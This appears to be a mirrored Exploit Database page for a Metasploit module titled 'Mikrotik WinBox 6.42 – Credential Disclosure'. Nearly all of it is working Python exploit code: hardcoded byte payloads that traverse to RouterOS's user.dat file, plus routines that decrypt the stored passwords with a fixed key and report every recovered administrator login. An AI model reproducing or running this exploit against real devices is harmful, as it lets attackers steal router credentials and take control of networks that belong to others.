Mikrotik WinBox 6.42 – Credential Disclosure (Metasploit)

• Exploit Database
• 114 阅读

• 作者： Omid Shojaei
  日期： 2018-08-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/45170/
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  # Exploit Title: Mikrotik WinBox 6.42 - Credential Disclosure (Metasploit) # Date: 2018-05-21 # Exploit Author(s): Omid Shojaei (@Dmitriy_area51), Dark VoidSeeker, Alireza Mosajjal # Vendor Page: https://www.mikrotik.com/ # Sotware Link: https://mikrotik.com/download # Version: 6.29 - 6.42 # Tested on: Metasploit Framework: 4.16.58-dev on Kali Linux # CVE: N/A   ''' This module extracts Mikrotik's RouterOS Administration Credentials and stores username and passwords in database. Even deleted or disabled users and passwords get dumped.   Note: This module needs metasploit freamework. ''' #!/usr/bin/env python3   import sys import socket import hashlib import logging from metasploit import module   FIRST_PAYLOAD = \ [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00, 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07, 0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21, 0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66, 0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00]     SECOND_PAYLOAD = \ [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00, 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01, 0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08, 0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09, 0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00]     METADATA = { "name": "Mikrotik RouterOS WinBox Credentials Leakage", "description": '''This module extracts winbox credentials in winbox releases prior to 04/20/2018 ''', "authors": [ "Omid Shojaei (@Dmitriy_area51)", "Dark VoidSeeker", "Alireza Mosajjal" # Original author ], "date": "2018-05-21", "license": "MSF_LICENSE", "references": [ {"type": "url", "ref": "https://github.com/BigNerd95/WinboxExploit"} ], "type": "single_scanner", "options": { "RHOSTS": { "type": "address", "description": "The Mikrotik device to extract credentials (Just 1 IP)", "required": True, "default": None }, "RPORT": { "type": "string", "description": "The Mikrotik device's winbox port number.", "required": True, "default": 8291 } } }   def decrypt_password(user, pass_enc): key = hashlib.md5(user + b"283i4jfkai3389").digest()   passw = "" for i in range(0, len(pass_enc)): passw += chr(pass_enc[i] ^ key[i % len(key)])   return passw.split("\x00")[0]   def extract_user_pass_from_entry(entry): user_data = entry.split(b"\x01\x00\x00\x21")[1] pass_data = entry.split(b"\x11\x00\x00\x21")[1]   user_len = user_data[0] pass_len = pass_data[0]   username = user_data[1:1 + user_len] password = pass_data[1:1 + pass_len]   return username, password   def get_pair(data):   user_list = []   entries = data.split(b"M2")[1:] for entry in entries: try: user, pass_encrypted = extract_user_pass_from_entry(entry) except: continue   pass_plain = decrypt_password(user, pass_encrypted) user= user.decode("ascii")   user_list.append((user, pass_plain))   return user_list   def dump(data, rhost): user_pass = get_pair(data) for user, passwd in user_pass: logging.info("{}:{}".format(user, passwd)) module.report_correct_password(user, passwd, host=rhost)   def run(args): module.LogHandler.setup(msg_prefix="[{}] - ".format(args['rhost']))   #Initialize Socket s = socket.socket() s.settimeout(3) try: s.connect((str(args['RHOSTS']), int(args['RPORT']))) except socket.timeout: logging.error("Not Vulnerable!!!") return   #Convert to bytearray for manipulation a = bytearray(FIRST_PAYLOAD) b = bytearray(SECOND_PAYLOAD)   #Send hello and recieve the sesison id s.send(a) d = bytearray(s.recv(1024))   #Replace the session id in template b[19] = d[38]   #Send the edited response s.send(b) d = bytearray(s.recv(1024))   #Get results module.report_host(args['RHOSTS']) dump(d[55:], args['RHOSTS'])   if __name__ == "__main__": module.run(METADATA, run)